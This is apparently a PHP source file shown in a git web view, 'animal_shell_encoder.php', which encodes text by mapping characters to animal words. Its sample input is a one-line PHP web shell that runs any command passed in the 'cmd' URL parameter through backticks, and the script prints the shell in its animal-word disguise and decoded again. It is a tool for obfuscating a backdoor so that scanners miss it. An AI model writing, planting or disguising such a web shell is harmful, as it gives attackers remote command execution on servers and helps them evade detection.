Revert 0852c62a66d149c09e60be210610a70ce5d4526b^..HEAD
[fixup.git] / animal_shell_encoder.php
blobf9d2ad8260b80be634c191598169751af3014ec7
1 <?php
3 $dict = array(
4 "a" => "ardvark",
5 "b" => "bat",
6 "c" => "cat",
7 "d" => "dog",
8 "e" => "elk",
9 "f" => "frog",
10 "g" => "goat",
11 "h" => "hog",
12 "i" => "iguana",
13 "j" => "jackal",
14 "k" => "kiwi",
15 "l" => "lion",
16 "m" => "mole",
17 "n" => "newt",
18 "o" => "olm",
19 "p" => "pig",
20 "q" => "quail",
21 "r" => "rat",
22 "s" => "seal",
23 "t" => "tiger",
24 "u" => "vulture",
25 "v" => "wasp",
26 "x" => "xena",
27 "y" => "yak",
28 "z" => "zebra",
29 " " => "space",
30 "(" => "eats",
31 ")" => "sleeps",
32 "." => "sneezes",
33 "[" => "pukes",
34 "]" => "kills",
35 "'" => "jumps",
36 "\"" => "rolls",
37 ";" => "murders",
38 "=" => "dances",
39 "\$" => "sprints",
40 "{" => "giggles",
41 "}" => "poops",
42 "_" => "pees",
43 "<" => "falls",
44 ">" => "vomits",
45 "?" => "coughs",
46 "`" => "tick"
49 $input = "if(isset(\$_GET['cmd'])){ echo `{\$_GET['cmd']}`; }";
51 function encode($string, $array) {
52 $output = array();
53 for ($c = 0; $c < strlen($string); $c++) {
54 $char = substr($string, $c, 1);
55 $upper = isUpper($char);
56 $char = strtolower($char);
57 if (isset($array[$char])) {
58 if ($upper) $output[] = strtoupper($array[$char]);
59 else $output[] = $array[$char];
60 } else {
61 $output[] = $char;
64 return implode(" ", $output);
67 function decode($string, $array) {
68 $output = "";
69 $words = explode(" ", $string);
70 foreach ($words as $word) {
71 $upper = isUpper($word);
72 $word = strtolower($word);
73 if ($key = array_search($word, $array)) {
74 if ($upper) $key = strtoupper($key);
75 $output = "{$output}{$key}";
76 } else {
77 $output = "{$output}{$word}";
80 return $output;
84 function isUpper($char) {
85 if (strtoupper($char) == $char) return true;
86 return false;
89 echo $output = encode($input, $dict);
90 echo "<br><br>";
91 echo decode($output, $dict);
93 $output = $input;
95 //print "<pre>" . $output . "</pre>";